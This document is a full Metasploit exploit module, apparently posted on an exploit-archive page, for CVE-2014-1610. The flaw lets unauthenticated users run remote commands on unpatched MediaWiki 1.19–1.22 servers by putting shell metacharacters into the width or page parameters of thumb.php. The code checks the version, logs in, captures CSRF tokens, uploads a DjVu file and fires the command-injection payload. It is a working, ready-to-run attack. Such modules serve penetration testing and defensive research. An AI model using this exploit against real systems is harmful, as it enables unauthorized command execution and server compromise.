MediaWiki Thumb.php Remote Command Execution Exploit

:
20.02.2014
:
MediaWiki 1.22.x < 1.22.2, 1.21.x < 1.21.5, 1.19.x < 1.19.11
:
:
MediaWiki

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki Thumb.php Remote Command Execution',
'Description' => %q{
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
when DjVu or PDF file upload support is enabled, allows remote unauthenticated
users to execute arbitrary commands via shell metacharacters. If no target file
is specified this module will attempt to log in with the provided credentials to
upload a file (.DjVu) to use for exploitation.
},
'Author' =>
[
'Netanel Rubin', # from Check Point - Discovery
'Brandon Perry', # Metasploit Module
'Ben Harris', # Metasploit Module
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-1610' ],
[ 'OSVDB', '102630'],
[ 'URL', 'http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html' ],
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
],
'Privileged' => false,
'Targets' =>
[
[ 'Automatic PHP-CLI',
{
'Payload' =>
{
'BadChars' => "\r\n",
'PrependEncoder' => "php -r \"",
'AppendEncoder' => "\""
},
'Platform' => ['php'],
'Arch' => ARCH_PHP
}
],
[ 'Linux CMD',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
],
[ 'Windows CMD',
{
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
},
'Platform' => ['win'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 28 2014'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
OptString.new('FILENAME', [ false, "Target DjVu/PDF file (e.g target.djvu target.pdf)", nil ]),
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
], self.class)
end

def get_version(body)
meta_generator = get_html_value(body, 'meta', 'generator', 'content')

unless meta_generator
vprint_status("No META Generator tag on #{full_uri}.")
return nil, nil, nil
end

if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")

return major, minor, patch
end

return nil, nil, nil
end

def check
uri = target_uri.path

opts = { 'uri' => normalize_uri(uri, 'index.php') }

response = send_request_cgi!(opts)

if opts['redirect_uri']
vprint_status("Redirected to #{opts['redirect_uri']}.")
end

unless response
vprint_status("No response from #{full_uri}.")
return CheckCode::Unknown
end

# Mediawiki will give a 404 for unknown pages but still have a body
if response.code == 200 || response.code == 404
vprint_status("#{response.code} response received...")

major, minor, patch = get_version(response.body)

unless major
return CheckCode::Unknown
end

if major == 1 && (minor < 8 || minor > 22)
return CheckCode::Safe
elsif major == 1 && (minor == 22 && patch > 1)
return CheckCode::Safe
elsif major == 1 && (minor == 21 && patch > 4)
return CheckCode::Safe
elsif major == 1 && (minor == 19 && patch > 10)
return CheckCode::Safe
elsif major == 1
return CheckCode::Appears
else
return CheckCode::Safe
end
end

vprint_status("Received response code #{response.code} from #{full_uri}")
CheckCode::Unknown
end

def exploit
uri = target_uri.path

print_status("Grabbing version and login CSRF token...")
response = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'title' => 'Special:UserLogin' }
})

unless response
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
end

server = response['Server']
if server && target.name =~ /automatic/i && server =~ /win32/i
vprint_status("Windows platform detected: #{server}.")
my_platform = Msf::Module::Platform::Windows
elsif server && target.name =~ /automatic/i
vprint_status("Nix platform detected: #{server}.")
my_platform = Msf::Module::Platform::Unix
else
my_platform = target.platform.platforms.first
end

# If we have already identified a DjVu/PDF file on the server trigger
# the exploit
unless datastore['FILENAME'].blank?
payload_request(uri, datastore['FILENAME'], my_platform)
return
end

username = datastore['USERNAME']
password = datastore['PASSWORD']

major, minor, patch = get_version(response.body)

# Upload CSRF added in v1.18.2
# http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
upload_csrf = false
elsif ((major == 1) && (minor < 18))
upload_csrf = false
else
upload_csrf = true
end

session_cookie = response.get_cookies

wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')

if wp_login_token.blank?
fail_with(Failure::UnexpectedReply, "Couldn't find login token. Is URI set correctly?")
else
print_good("Retrieved login CSRF token.")
end

print_status("Attempting to login...")
login = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'vars_get' => {
'title' => 'Special:UserLogin',
'action' => 'submitlogin',
'type' => 'login'
},
'cookie' => session_cookie,
'vars_post' => {
'wpName' => username,
'wpPassword' => password,
'wpLoginAttempt' => 'Log in',
'wpLoginToken' => wp_login_token
}
})

if login and login.code == 302
print_good("Log in successful.")
else
fail_with(Failure::NoAccess, "Failed to log in.")
end

auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')

# Testing v1.15.1 it looks like it has session fixation
# vulnerability so we dont get a new session cookie after
# authenticating. Therefore we need to include our old cookie.
unless auth_cookie.include? 'session='
auth_cookie << session_cookie
end

print_status("Getting upload CSRF token...") if upload_csrf
upload_file = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'cookie' => auth_cookie
})

unless upload_file and upload_file.code == 200
fail_with(Failure::NotFound, "Failed to access file upload page.")
end

wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
title = get_html_value(upload_file.body, 'input', 'title', 'value')

if upload_csrf && wp_edit_token.blank?
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
elsif upload_csrf
print_good("Retrieved upload CSRF token.")
end

upload_mime = Rex::MIME::Message.new

djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1610", "metasploit.djvu"))
file_name = "#{rand_text_alpha(4)}.djvu"

upload_mime.add_part(djvu_file, "application/octet-stream", "binary", "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")
upload_mime.add_part("#{file_name}", nil, nil, "form-data; name=\"wpDestFile\"")
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
post_data = upload_mime.to_s

print_status("Uploading DjVu file #{file_name}...")

upload = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
'cookie' => auth_cookie
})

if upload and upload.code == 302 and upload.headers['Location']
location = upload.headers['Location']
print_good("File uploaded to #{location}")
else
if upload.body.include? 'not a permitted file type'
fail_with(Failure::NotVulnerable, "Wiki is not configured for target files.")
else
fail_with(Failure::UnexpectedReply, "Failed to upload file.")
end
end

payload_request(uri, file_name, my_platform)
end

def payload_request(uri, file_name, my_platform)
if my_platform == Msf::Module::Platform::Windows
trigger = "1)&(#{payload.encoded})&"
else
trigger = "1;#{payload.encoded};"
end

vars_get = { 'f' => file_name }
if file_name.include? '.pdf'
vars_get['width'] = trigger
elsif file_name.include? '.djvu'
vars_get['width'] = 1
vars_get['p'] = trigger
else
fail_with(Failure::BadConfig, "Unsupported file extension: #{file_name}")
end

print_status("Sending payload request...")
r = send_request_cgi({
'uri' => normalize_uri(uri, 'thumb.php'),
'vars_get' => vars_get
}, 1)

if r && r.code == 404 && r.body =~ /not exist/
print_error("File: #{file_name} does not exist.")
elsif r
print_error("Received response #{r.code}, exploit probably failed.")
end
end

# The order of name, value keeps shifting so regex is painful.
# Cant use nokogiri due to security issues
# Cant use REXML directly as its not strict XHTML
# So we do a filthy mixture of regex and REXML
def get_html_value(html, type, name, value)
return nil unless html
return nil unless type
return nil unless name
return nil unless value

found = nil
html.each_line do |line|
if line =~ /(<#{type}[^\/]*name="#{name}".*?\/>)/i
found = $&
break
end
end

if found
doc = REXML::Document.new found
return doc.root.attributes[value]
end

''
end
end

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